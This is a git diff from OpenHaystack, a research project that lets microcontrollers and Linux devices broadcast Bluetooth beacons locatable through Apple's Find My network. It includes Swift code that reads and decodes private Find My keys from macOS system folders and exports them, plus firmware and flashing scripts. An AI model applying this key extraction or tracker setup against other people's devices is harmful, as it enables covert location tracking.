||||||
static func findKeyFilesInNewLocation() throws -> [FindMyDevice] {
|
|
||||||
let keysFolders = self.findRamdomKeyFolder()
|
|
||||||
guard keysFolders.isEmpty == false else {
|
|
||||||
throw NSError(domain: "error", code: NSNotFound, userInfo: nil)
|
|
||||||
}
|
|
||||||
|
|
||||||
var devices = [FindMyDevice]()
|
return folderURLs
|
||||||
for folder in keysFolders {
|
|
||||||
if let deviceKeys = try? self.loadNewKeyFilesIn(directory: folder) {
|
|
||||||
devices.append(contentsOf: deviceKeys)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return devices
|
}
|
||||||
|
|
||||||
|
/// Find the key files in macOS 10.15.4 and newer (not working with fixed version 10.15.6)
|
||||||
|
/// - Throws: An error if the key folder cannot be fould
|
||||||
|
/// - Returns: An array of devices including their keys
|
||||||
|
static func findKeyFilesInNewLocation() throws -> [FindMyDevice] {
|
||||||
|
let keysFolders = self.findRamdomKeyFolder()
|
||||||
|
guard keysFolders.isEmpty == false else {
|
||||||
|
throw NSError(domain: "error", code: NSNotFound, userInfo: nil)
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Load the keys fils in the passed directory
|
var devices = [FindMyDevice]()
|
||||||
/// - Parameter directory: Pass a directory url to a location with key files
|
for folder in keysFolders {
|
||||||
/// - Throws: An error if the keys could not be found
|
if let deviceKeys = try? self.loadNewKeyFilesIn(directory: folder) {
|
||||||
/// - Returns: An array of devices including their keys
|
devices.append(contentsOf: deviceKeys)
|
||||||
static func loadNewKeyFilesIn(directory: URL) throws -> [FindMyDevice] {
|
}
|
||||||
os_log(.debug, "Loading key files from %@", directory.path)
|
}
|
||||||
let fm = FileManager.default
|
|
||||||
let subDirectories = try fm.contentsOfDirectory(at: directory,
|
|
||||||
includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
|
|
||||||
|
|
||||||
var devices = [FindMyDevice]()
|
return devices
|
||||||
|
}
|
||||||
|
|
||||||
for deviceDirectory in subDirectories {
|
/// Load the keys fils in the passed directory
|
||||||
do {
|
/// - Parameter directory: Pass a directory url to a location with key files
|
||||||
var keyFiles = [Data]()
|
/// - Throws: An error if the keys could not be found
|
||||||
let keyDirectory = deviceDirectory.appendingPathComponent("Primary")
|
/// - Returns: An array of devices including their keys
|
||||||
let keyFileURLs = try fm.contentsOfDirectory(at: keyDirectory,
|
static func loadNewKeyFilesIn(directory: URL) throws -> [FindMyDevice] {
|
||||||
includingPropertiesForKeys: nil,
|
os_log(.debug, "Loading key files from %@", directory.path)
|
||||||
options: .skipsHiddenFiles)
|
let fm = FileManager.default
|
||||||
for keyfileURL in keyFileURLs {
|
let subDirectories = try fm.contentsOfDirectory(
|
||||||
// Read the key files
|
at: directory,
|
||||||
let keyFile = try Data(contentsOf: keyfileURL)
|
includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
|
||||||
if keyFile.isEmpty == false {
|
|
||||||
keyFiles.append(keyFile)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Decode keys for file
|
var devices = [FindMyDevice]()
|
||||||
let decoder = FindMyKeyDecoder()
|
|
||||||
var decodedKeys = [FindMyKey]()
|
|
||||||
for file in keyFiles {
|
|
||||||
do {
|
|
||||||
let fmKeys = try decoder.parse(keyFile: file)
|
|
||||||
decodedKeys.append(contentsOf: fmKeys)
|
|
||||||
} catch {
|
|
||||||
os_log(.error, "Decoding keys failed %@", error.localizedDescription)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
let device = FindMyDevice(deviceId: deviceDirectory.lastPathComponent, keys: decodedKeys)
|
for deviceDirectory in subDirectories {
|
||||||
devices.append(device)
|
do {
|
||||||
} catch {
|
var keyFiles = [Data]()
|
||||||
os_log(.error, "Key directory not found %@", error.localizedDescription)
|
let keyDirectory = deviceDirectory.appendingPathComponent("Primary")
|
||||||
}
|
let keyFileURLs = try fm.contentsOfDirectory(
|
||||||
|
at: keyDirectory,
|
||||||
|
includingPropertiesForKeys: nil,
|
||||||
|
options: .skipsHiddenFiles)
|
||||||
|
for keyfileURL in keyFileURLs {
|
||||||
|
// Read the key files
|
||||||
|
let keyFile = try Data(contentsOf: keyfileURL)
|
||||||
|
if keyFile.isEmpty == false {
|
||||||
|
keyFiles.append(keyFile)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return devices
|
// Decode keys for file
|
||||||
|
let decoder = FindMyKeyDecoder()
|
||||||
|
var decodedKeys = [FindMyKey]()
|
||||||
|
for file in keyFiles {
|
||||||
|
do {
|
||||||
|
let fmKeys = try decoder.parse(keyFile: file)
|
||||||
|
decodedKeys.append(contentsOf: fmKeys)
|
||||||
|
} catch {
|
||||||
|
os_log(.error, "Decoding keys failed %@", error.localizedDescription)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
let device = FindMyDevice(deviceId: deviceDirectory.lastPathComponent, keys: decodedKeys)
|
||||||
|
devices.append(device)
|
||||||
|
} catch {
|
||||||
|
os_log(.error, "Key directory not found %@", error.localizedDescription)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
return devices
|
||||||
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -7,38 +7,38 @@
|
|||||||
// SPDX-License-Identifier: AGPL-3.0-only
|
// SPDX-License-Identifier: AGPL-3.0-only
|
||||||
//
|
//
|
||||||
|
|
||||||
import Foundation
|
|
||||||
import Combine
|
import Combine
|
||||||
import CryptoKit
|
import CryptoKit
|
||||||
|
import Foundation
|
||||||
|
|
||||||
struct FindMyDevice: Codable {
|
struct FindMyDevice: Codable {
|
||||||
let deviceId: String
|
let deviceId: String
|
||||||
var keys = [FindMyKey]()
|
var keys = [FindMyKey]()
|
||||||
}
|
}
|
||||||
|
|
||||||
struct FindMyKey: Codable {
|
struct FindMyKey: Codable {
|
||||||
/// The advertising key
|
/// The advertising key
|
||||||
let advertisedKey: Data
|
let advertisedKey: Data
|
||||||
/// Hashed advertisement key using SHA256
|
/// Hashed advertisement key using SHA256
|
||||||
let hashedKey: Data
|
let hashedKey: Data
|
||||||
/// The private key from which the advertisement keys can be derived
|
/// The private key from which the advertisement keys can be derived
|
||||||
let privateKey: Data
|
let privateKey: Data
|
||||||
/// When this key was used to send out BLE advertisements
|
/// When this key was used to send out BLE advertisements
|
||||||
let startTime: Date?
|
let startTime: Date?
|
||||||
/// Duration from start time how long the key has been used to send out BLE advertisements
|
/// Duration from start time how long the key has been used to send out BLE advertisements
|
||||||
let duration: Double?
|
let duration: Double?
|
||||||
|
|
||||||
// swiftlint:disable identifier_name
|
// swiftlint:disable identifier_name
|
||||||
/// ?
|
/// ?
|
||||||
let pu: Data?
|
let pu: Data?
|
||||||
|
|
||||||
/// As exported from Big Sur
|
/// As exported from Big Sur
|
||||||
let yCoordinate: Data?
|
let yCoordinate: Data?
|
||||||
/// As exported from BigSur
|
/// As exported from BigSur
|
||||||
let fullKey: Data?
|
let fullKey: Data?
|
||||||
}
|
}
|
||||||
|
|
||||||
enum FindMyError: Error {
|
enum FindMyError: Error {
|
||||||
case noFoldersFound
|
case noFoldersFound
|
||||||
case parsingFailed
|
case parsingFailed
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -7,40 +7,41 @@
|
|||||||
// SPDX-License-Identifier: AGPL-3.0-only
|
// SPDX-License-Identifier: AGPL-3.0-only
|
||||||
//
|
//
|
||||||
|
|
||||||
import Foundation
|
|
||||||
import AppKit
|
import AppKit
|
||||||
|
import Foundation
|
||||||
|
|
||||||
class SavePanel: NSObject, NSOpenSavePanelDelegate {
|
class SavePanel: NSObject, NSOpenSavePanelDelegate {
|
||||||
|
|
||||||
static let shared = SavePanel()
|
static let shared = SavePanel()
|
||||||
|
|
||||||
var fileToSave: Data?
|
var fileToSave: Data?
|
||||||
var fileExtension: String?
|
var fileExtension: String?
|
||||||
var panel: NSSavePanel?
|
var panel: NSSavePanel?
|
||||||
|
|
||||||
func saveFile(file: Data, fileExtension: String) {
|
func saveFile(file: Data, fileExtension: String) {
|
||||||
self.fileToSave = file
|
self.fileToSave = file
|
||||||
self.fileExtension = fileExtension
|
self.fileExtension = fileExtension
|
||||||
|
|
||||||
self.panel = NSSavePanel()
|
self.panel = NSSavePanel()
|
||||||
self.panel?.delegate = self
|
self.panel?.delegate = self
|
||||||
self.panel?.title = "Export Find My Keys"
|
self.panel?.title = "Export Find My Keys"
|
||||||
self.panel?.prompt = "Export"
|
self.panel?.prompt = "Export"
|
||||||
self.panel?.nameFieldLabel = "Offline Keys Plist"
|
self.panel?.nameFieldLabel = "Offline Keys Plist"
|
||||||
self.panel?.nameFieldStringValue = "OfflineFindingKeys.plist"
|
self.panel?.nameFieldStringValue = "OfflineFindingKeys.plist"
|
||||||
self.panel?.allowedFileTypes = ["plist"]
|
self.panel?.allowedFileTypes = ["plist"]
|
||||||
|
|
||||||
self.panel?.begin(completionHandler: { (response) in
|
self.panel?.begin(completionHandler: { (response) in
|
||||||
if response == .OK {
|
if response == .OK {
|
||||||
// Save the file in a cache directory
|
// Save the file in a cache directory
|
||||||
let fileURL = self.panel?.url
|
let fileURL = self.panel?.url
|
||||||
try? self.fileToSave?.write(to: fileURL!)
|
try? self.fileToSave?.write(to: fileURL!)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func panel(_ sender: Any, userEnteredFilename filename: String, confirmed okFlag: Bool) -> String? {
|
func panel(_ sender: Any, userEnteredFilename filename: String, confirmed okFlag: Bool) -> String?
|
||||||
return filename
|
{
|
||||||
}
|
return filename
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
3
Firmware/ESP32/.vscode/settings.json
vendored
Normal file
3
Firmware/ESP32/.vscode/settings.json
vendored
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
{
|
||||||
|
"idf.port": "/dev/cu.usbserial-0001"
|
||||||
|
}
|
||||||
@@ -1,5 +1,10 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
|
cleanup() {
|
||||||
|
echo "cleanup ..."
|
||||||
|
rm "$KEYFILE"
|
||||||
|
}
|
||||||
|
|
||||||
# Directory of this script
|
# Directory of this script
|
||||||
SCRIPT_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )"
|
SCRIPT_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )"
|
||||||
|
|
||||||
@@ -127,13 +132,13 @@ fi
|
|||||||
|
|
||||||
# Call esptool.py. Errors from here on are critical
|
# Call esptool.py. Errors from here on are critical
|
||||||
set -e
|
set -e
|
||||||
|
trap cleanup INT TERM EXIT
|
||||||
|
|
||||||
# Clear NVM
|
# Clear NVM
|
||||||
esptool.py --after no_reset \
|
esptool.py --after no_reset --port "$PORT" \
|
||||||
erase_region 0x9000 0x5000
|
erase_region 0x9000 0x5000
|
||||||
esptool.py --before no_reset --baud $BAUDRATE \
|
esptool.py --before no_reset --baud $BAUDRATE --port "$PORT" \
|
||||||
write_flash 0x1000 "$SCRIPT_DIR/build/bootloader/bootloader.bin" \
|
write_flash 0x1000 "$SCRIPT_DIR/build/bootloader/bootloader.bin" \
|
||||||
0x8000 "$SCRIPT_DIR/build/partition_table/partition-table.bin" \
|
0x8000 "$SCRIPT_DIR/build/partition_table/partition-table.bin" \
|
||||||
0xe000 "$KEYFILE" \
|
0xe000 "$KEYFILE" \
|
||||||
0x10000 "$SCRIPT_DIR/build/openhaystack.bin"
|
0x10000 "$SCRIPT_DIR/build/openhaystack.bin"
|
||||||
rm "$KEYFILE"
|
|
||||||
|
|||||||
@@ -43,12 +43,12 @@ static esp_ble_adv_params_t ble_adv_params = {
|
|||||||
// Minimum advertising interval for undirected and low duty cycle
|
// Minimum advertising interval for undirected and low duty cycle
|
||||||
// directed advertising. Range: 0x0020 to 0x4000 Default: N = 0x0800
|
// directed advertising. Range: 0x0020 to 0x4000 Default: N = 0x0800
|
||||||
// (1.28 second) Time = N * 0.625 msec Time Range: 20 ms to 10.24 sec
|
// (1.28 second) Time = N * 0.625 msec Time Range: 20 ms to 10.24 sec
|
||||||
.adv_int_min = 0x00A0, // 100ms
|
.adv_int_min = 0x0640, // 1s
|
||||||
// Advertising max interval:
|
// Advertising max interval:
|
||||||
// Maximum advertising interval for undirected and low duty cycle
|
// Maximum advertising interval for undirected and low duty cycle
|
||||||
// directed advertising. Range: 0x0020 to 0x4000 Default: N = 0x0800
|
// directed advertising. Range: 0x0020 to 0x4000 Default: N = 0x0800
|
||||||
// (1.28 second) Time = N * 0.625 msec Time Range: 20 ms to 10.24 sec
|
// (1.28 second) Time = N * 0.625 msec Time Range: 20 ms to 10.24 sec
|
||||||
.adv_int_max = 0x0140, // 200ms
|
.adv_int_max = 0x0C80, // 2s
|
||||||
// Advertisement type
|
// Advertisement type
|
||||||
.adv_type = ADV_TYPE_NONCONN_IND,
|
.adv_type = ADV_TYPE_NONCONN_IND,
|
||||||
// Use the random address
|
// Use the random address
|
||||||
|
|||||||
19
Firmware/Linux_HCI/README.md
Normal file
19
Firmware/Linux_HCI/README.md
Normal file
@@ -0,0 +1,19 @@
|
|||||||
|
# OpenHaystack HCI Script for Linux
|
||||||
|
|
||||||
|
This script enables Linux devices to send out Bluetooth Low Energy advertisements such that they can be found by [Apple's Find My network](https://developer.apple.com/find-my/).
|
||||||
|
|
||||||
|
## Disclaimer
|
||||||
|
|
||||||
|
Note that the script is just a proof-of-concept and currently only implements advertising a single static key. This means that **devices running this script are trackable** by other devices in proximity.
|
||||||
|
|
||||||
|
## Requirements
|
||||||
|
|
||||||
|
The script requires a Linux machine with a Bluetooth Low Energy radio chip, a Python environment, and `hcitool` installed. We tested it on a Raspberry Pi running the official Raspberry Pi OS.
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
Our Python script uses HCI calls to configure Bluetooth advertising. You can copy the required `ADVERTISMENT_KEY` from the app by right-clicking on your accessory and selecting _Copy advertisement key (Base64)_. Then run the script:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
sudo python3 HCI.py --key <ADVERTISMENT_KEY>
|
||||||
|
```
|
||||||
@@ -1,7 +1,7 @@
|
|||||||
PLATFORM := nRF51822
|
PLATFORM := nRF51822
|
||||||
NRF51_SDK_PATH := $(shell pwd)/nrf51_sdk_v4_4_2_33551
|
NRF51_SDK_PATH := $(shell pwd)/nrf51_sdk_v4_4_2_33551
|
||||||
NRF51_SDK_DOWNLOAD_URL := https://developer.nordicsemi.com/nRF5_SDK/nRF51_SDK_v4.x.x/nrf51_sdk_v4_4_2_33551.zip
|
NRF51_SDK_DOWNLOAD_URL := https://developer.nordicsemi.com/nRF5_SDK/nRF51_SDK_v4.x.x/nrf51_sdk_v4_4_2_33551.zip
|
||||||
OPENHAYSTACK_FIRMWARE_PATH := $(shell pwd)/../OpenHaystack/OpenHaystack/HaystackApp/firmware.bin
|
OPENHAYSTACK_FIRMWARE_PATH := $(shell pwd)/../../OpenHaystack/OpenHaystack/HaystackApp/Firmwares/Microbit/firmware.bin
|
||||||
|
|
||||||
export PLATFORM
|
export PLATFORM
|
||||||
export NRF51_SDK_PATH
|
export NRF51_SDK_PATH
|
||||||
@@ -10,7 +10,7 @@ ifeq ($(DEPLOY_PATH),)
|
|||||||
DEPLOY_PATH := /Volumes/MICROBIT
|
DEPLOY_PATH := /Volumes/MICROBIT
|
||||||
endif
|
endif
|
||||||
|
|
||||||
offline-finding/build/offline-finding.bin: $(NRF51_SDK_PATH) blessed/.git
|
offline-finding/build/offline-finding.bin: $(NRF51_SDK_PATH) blessed/.git offline-finding/main.c
|
||||||
$(MAKE) -C blessed
|
$(MAKE) -C blessed
|
||||||
$(MAKE) -C offline-finding
|
$(MAKE) -C offline-finding
|
||||||
|
|
||||||
|
|||||||
@@ -15,7 +15,7 @@
|
|||||||
|
|
||||||
#include "ll.h"
|
#include "ll.h"
|
||||||
|
|
||||||
#define ADV_INTERVAL LL_ADV_INTERVAL_MIN_NONCONN /* 100 ms */
|
#define ADV_INTERVAL 2000000 /* 2 s */
|
||||||
|
|
||||||
/* don't make `const` so we can replace key in compiled binary image */
|
/* don't make `const` so we can replace key in compiled binary image */
|
||||||
static char public_key[28] = "OFFLINEFINDINGPUBLICKEYHERE!";
|
static char public_key[28] = "OFFLINEFINDINGPUBLICKEYHERE!";
|
||||||
|
|||||||
@@ -51,6 +51,12 @@
|
|||||||
78EC226C25DBC2E40042B775 /* OpenHaystackMainView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC226B25DBC2E40042B775 /* OpenHaystackMainView.swift */; };
|
78EC226C25DBC2E40042B775 /* OpenHaystackMainView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC226B25DBC2E40042B775 /* OpenHaystackMainView.swift */; };
|
||||||
78EC227225DBC8CE0042B775 /* Accessory.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC227125DBC8CE0042B775 /* Accessory.swift */; };
|
78EC227225DBC8CE0042B775 /* Accessory.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC227125DBC8CE0042B775 /* Accessory.swift */; };
|
||||||
78EC227725DBDB7E0042B775 /* KeychainController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC227625DBDB7E0042B775 /* KeychainController.swift */; };
|
78EC227725DBDB7E0042B775 /* KeychainController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC227625DBDB7E0042B775 /* KeychainController.swift */; };
|
||||||
|
78F8BB4C261C50EB00D9F37F /* LargeButtonStyle.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78F8BB4B261C50EB00D9F37F /* LargeButtonStyle.swift */; };
|
||||||
|
F126102F2600D1D80066A859 /* Slider+LogScale.swift in Sources */ = {isa = PBXBuildFile; fileRef = F126102E2600D1D80066A859 /* Slider+LogScale.swift */; };
|
||||||
|
F12D5A5A25FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift in Sources */ = {isa = PBXBuildFile; fileRef = F12D5A5925FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift */; };
|
||||||
|
F12D5A6025FA79FA00CBBA09 /* Advertisement.swift in Sources */ = {isa = PBXBuildFile; fileRef = F12D5A5F25FA79FA00CBBA09 /* Advertisement.swift */; };
|
||||||
|
F1647C1625FF6C61004144D6 /* BluetoothTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = F1647C1525FF6C61004144D6 /* BluetoothTests.swift */; };
|
||||||
|
F1647C1B25FF7954004144D6 /* AccessoryNearbyMonitor.swift in Sources */ = {isa = PBXBuildFile; fileRef = F1647C1A25FF7954004144D6 /* AccessoryNearbyMonitor.swift */; };
|
||||||
F16BA9E925E7DB2D00238183 /* NIOSSL in Frameworks */ = {isa = PBXBuildFile; productRef = F16BA9E825E7DB2D00238183 /* NIOSSL */; };
|
F16BA9E925E7DB2D00238183 /* NIOSSL in Frameworks */ = {isa = PBXBuildFile; productRef = F16BA9E825E7DB2D00238183 /* NIOSSL */; };
|
||||||
/* End PBXBuildFile section */
|
/* End PBXBuildFile section */
|
||||||
|
|
||||||
@@ -150,6 +156,12 @@
|
|||||||
78EC226B25DBC2E40042B775 /* OpenHaystackMainView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = OpenHaystackMainView.swift; sourceTree = "<group>"; };
|
78EC226B25DBC2E40042B775 /* OpenHaystackMainView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = OpenHaystackMainView.swift; sourceTree = "<group>"; };
|
||||||
78EC227125DBC8CE0042B775 /* Accessory.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Accessory.swift; sourceTree = "<group>"; };
|
78EC227125DBC8CE0042B775 /* Accessory.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Accessory.swift; sourceTree = "<group>"; };
|
||||||
78EC227625DBDB7E0042B775 /* KeychainController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = KeychainController.swift; sourceTree = "<group>"; };
|
78EC227625DBDB7E0042B775 /* KeychainController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = KeychainController.swift; sourceTree = "<group>"; };
|
||||||
|
78F8BB4B261C50EB00D9F37F /* LargeButtonStyle.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = LargeButtonStyle.swift; sourceTree = "<group>"; };
|
||||||
|
F126102E2600D1D80066A859 /* Slider+LogScale.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = "Slider+LogScale.swift"; sourceTree = "<group>"; };
|
||||||
|
F12D5A5925FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = BluetoothAccessoryScanner.swift; sourceTree = "<group>"; };
|
||||||
|
F12D5A5F25FA79FA00CBBA09 /* Advertisement.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Advertisement.swift; sourceTree = "<group>"; };
|
||||||
|
F1647C1525FF6C61004144D6 /* BluetoothTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = BluetoothTests.swift; sourceTree = "<group>"; };
|
||||||
|
F1647C1A25FF7954004144D6 /* AccessoryNearbyMonitor.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AccessoryNearbyMonitor.swift; sourceTree = "<group>"; };
|
||||||
/* End PBXFileReference section */
|
/* End PBXFileReference section */
|
||||||
|
|
||||||
/* Begin PBXFrameworksBuildPhase section */
|
/* Begin PBXFrameworksBuildPhase section */
|
||||||
@@ -315,6 +327,7 @@
|
|||||||
78EC226325DAE0BE0042B775 /* OpenHaystackTests.swift */,
|
78EC226325DAE0BE0042B775 /* OpenHaystackTests.swift */,
|
||||||
78EC226525DAE0BE0042B775 /* Info.plist */,
|
78EC226525DAE0BE0042B775 /* Info.plist */,
|
||||||
78023CB025F7841F00B083EF /* MicrocontrollerTests.swift */,
|
78023CB025F7841F00B083EF /* MicrocontrollerTests.swift */,
|
||||||
|
F1647C1525FF6C61004144D6 /* BluetoothTests.swift */,
|
||||||
);
|
);
|
||||||
path = OpenHaystackTests;
|
path = OpenHaystackTests;
|
||||||
sourceTree = "<group>";
|
sourceTree = "<group>";
|
||||||
@@ -322,6 +335,7 @@
|
|||||||
78EC226E25DBC2FC0042B775 /* HaystackApp */ = {
|
78EC226E25DBC2FC0042B775 /* HaystackApp */ = {
|
||||||
isa = PBXGroup;
|
isa = PBXGroup;
|
||||||
children = (
|
children = (
|
||||||
|
F12D5A5E25FA79D600CBBA09 /* Bluetooth */,
|
||||||
78023CAC25F7775300B083EF /* Firmwares */,
|
78023CAC25F7775300B083EF /* Firmwares */,
|
||||||
78286D3A25E4017400F65511 /* Mail Plugin */,
|
78286D3A25E4017400F65511 /* Mail Plugin */,
|
||||||
78EC227025DBC8BB0042B775 /* Views */,
|
78EC227025DBC8BB0042B775 /* Views */,
|
||||||
@@ -331,6 +345,7 @@
|
|||||||
787D8AC025DECD3C00148766 /* AccessoryController.swift */,
|
787D8AC025DECD3C00148766 /* AccessoryController.swift */,
|
||||||
78023CAA25F7767000B083EF /* ESP32Controller.swift */,
|
78023CAA25F7767000B083EF /* ESP32Controller.swift */,
|
||||||
7821DAD025F7B2C10054DC33 /* FileManager.swift */,
|
7821DAD025F7B2C10054DC33 /* FileManager.swift */,
|
||||||
|
F1647C1A25FF7954004144D6 /* AccessoryNearbyMonitor.swift */,
|
||||||
);
|
);
|
||||||
path = HaystackApp;
|
path = HaystackApp;
|
||||||
sourceTree = "<group>";
|
sourceTree = "<group>";
|
||||||
@@ -347,6 +362,7 @@
|
|||||||
78EC227025DBC8BB0042B775 /* Views */ = {
|
78EC227025DBC8BB0042B775 /* Views */ = {
|
||||||
isa = PBXGroup;
|
isa = PBXGroup;
|
||||||
children = (
|
children = (
|
||||||
|
78F8BB4A261C50D500D9F37F /* Styles */,
|
||||||
78286D7625E5114600F65511 /* ActivityIndicator.swift */,
|
78286D7625E5114600F65511 /* ActivityIndicator.swift */,
|
||||||
78EC226B25DBC2E40042B775 /* OpenHaystackMainView.swift */,
|
78EC226B25DBC2E40042B775 /* OpenHaystackMainView.swift */,
|
||||||
78486BEE25DD711E0007ED87 /* PopUpAlertView.swift */,
|
78486BEE25DD711E0007ED87 /* PopUpAlertView.swift */,
|
||||||
@@ -356,10 +372,28 @@
|
|||||||
7851F1DC25EE90FA0049480D /* AccessoryMapView.swift */,
|
7851F1DC25EE90FA0049480D /* AccessoryMapView.swift */,
|
||||||
7821DAD225F7C39A0054DC33 /* ESP32InstallSheet.swift */,
|
7821DAD225F7C39A0054DC33 /* ESP32InstallSheet.swift */,
|
||||||
78D9B80525F7CF60009B9CE8 /* ManageAccessoriesView.swift */,
|
78D9B80525F7CF60009B9CE8 /* ManageAccessoriesView.swift */,
|
||||||
|
F126102E2600D1D80066A859 /* Slider+LogScale.swift */,
|
||||||
);
|
);
|
||||||
path = Views;
|
path = Views;
|
||||||
sourceTree = "<group>";
|
sourceTree = "<group>";
|
||||||
};
|
};
|
||||||
|
78F8BB4A261C50D500D9F37F /* Styles */ = {
|
||||||
|
isa = PBXGroup;
|
||||||
|
children = (
|
||||||
|
78F8BB4B261C50EB00D9F37F /* LargeButtonStyle.swift */,
|
||||||
|
);
|
||||||
|
path = Styles;
|
||||||
|
sourceTree = "<group>";
|
||||||
|
};
|
||||||
|
F12D5A5E25FA79D600CBBA09 /* Bluetooth */ = {
|
||||||
|
isa = PBXGroup;
|
||||||
|
children = (
|
||||||
|
F12D5A5925FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift */,
|
||||||
|
F12D5A5F25FA79FA00CBBA09 /* Advertisement.swift */,
|
||||||
|
);
|
||||||
|
path = Bluetooth;
|
||||||
|
sourceTree = "<group>";
|
||||||
|
};
|
||||||
/* End PBXGroup section */
|
/* End PBXGroup section */
|
||||||
|
|
||||||
/* Begin PBXNativeTarget section */
|
/* Begin PBXNativeTarget section */
|
||||||
@@ -518,7 +552,7 @@
|
|||||||
);
|
);
|
||||||
runOnlyForDeploymentPostprocessing = 0;
|
runOnlyForDeploymentPostprocessing = 0;
|
||||||
shellPath = /bin/sh;
|
shellPath = /bin/sh;
|
||||||
shellScript = "if command -v swift-format >/dev/null; then\n swift-format lint -r \"$SRCROOT\"\nelse\n echo \"warning: swift-format not installed, download from https://github.com/apple/swift-format\"\nfi\n";
|
shellScript = "if command -v swift-format >/dev/null; then\n swift-format format -i -r \"$SRCROOT\"; swift-format lint -r \"$SRCROOT\"\nelse\n echo \"warning: swift-format not installed, download from https://github.com/apple/swift-format\"\nfi\n";
|
||||||
};
|
};
|
||||||
F14B2C7E25EFBB11002DC056 /* Set Version Number from Git */ = {
|
F14B2C7E25EFBB11002DC056 /* Set Version Number from Git */ = {
|
||||||
isa = PBXShellScriptBuildPhase;
|
isa = PBXShellScriptBuildPhase;
|
||||||
@@ -575,6 +609,8 @@
|
|||||||
78D9B80625F7CF60009B9CE8 /* ManageAccessoriesView.swift in Sources */,
|
78D9B80625F7CF60009B9CE8 /* ManageAccessoriesView.swift in Sources */,
|
||||||
78486BEF25DD711E0007ED87 /* PopUpAlertView.swift in Sources */,
|
78486BEF25DD711E0007ED87 /* PopUpAlertView.swift in Sources */,
|
||||||
78014A2925DC08580089F6D9 /* MicrobitController.swift in Sources */,
|
78014A2925DC08580089F6D9 /* MicrobitController.swift in Sources */,
|
||||||
|
F126102F2600D1D80066A859 /* Slider+LogScale.swift in Sources */,
|
||||||
|
F1647C1B25FF7954004144D6 /* AccessoryNearbyMonitor.swift in Sources */,
|
||||||
78286D1F25E3D8B800F65511 /* ALTAnisetteData.m in Sources */,
|
78286D1F25E3D8B800F65511 /* ALTAnisetteData.m in Sources */,
|
||||||
781EB3EC25DAD7EA00FEAA19 /* DecryptReports.swift in Sources */,
|
781EB3EC25DAD7EA00FEAA19 /* DecryptReports.swift in Sources */,
|
||||||
78EC226C25DBC2E40042B775 /* OpenHaystackMainView.swift in Sources */,
|
78EC226C25DBC2E40042B775 /* OpenHaystackMainView.swift in Sources */,
|
||||||
@@ -587,10 +623,13 @@
|
|||||||
781EB3F125DAD7EA00FEAA19 /* FindMyKeyDecoder.swift in Sources */,
|
781EB3F125DAD7EA00FEAA19 /* FindMyKeyDecoder.swift in Sources */,
|
||||||
787D8AC125DECD3C00148766 /* AccessoryController.swift in Sources */,
|
787D8AC125DECD3C00148766 /* AccessoryController.swift in Sources */,
|
||||||
78023CAB25F7767000B083EF /* ESP32Controller.swift in Sources */,
|
78023CAB25F7767000B083EF /* ESP32Controller.swift in Sources */,
|
||||||
|
F12D5A6025FA79FA00CBBA09 /* Advertisement.swift in Sources */,
|
||||||
781EB3F225DAD7EA00FEAA19 /* OpenHaystackApp.swift in Sources */,
|
781EB3F225DAD7EA00FEAA19 /* OpenHaystackApp.swift in Sources */,
|
||||||
781EB3F325DAD7EA00FEAA19 /* Models.swift in Sources */,
|
781EB3F325DAD7EA00FEAA19 /* Models.swift in Sources */,
|
||||||
|
78F8BB4C261C50EB00D9F37F /* LargeButtonStyle.swift in Sources */,
|
||||||
781EB3F425DAD7EA00FEAA19 /* FindMyController.swift in Sources */,
|
781EB3F425DAD7EA00FEAA19 /* FindMyController.swift in Sources */,
|
||||||
781EB3F525DAD7EA00FEAA19 /* BoringSSL.m in Sources */,
|
781EB3F525DAD7EA00FEAA19 /* BoringSSL.m in Sources */,
|
||||||
|
F12D5A5A25FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift in Sources */,
|
||||||
78286D5625E401F000F65511 /* MailPluginManager.swift in Sources */,
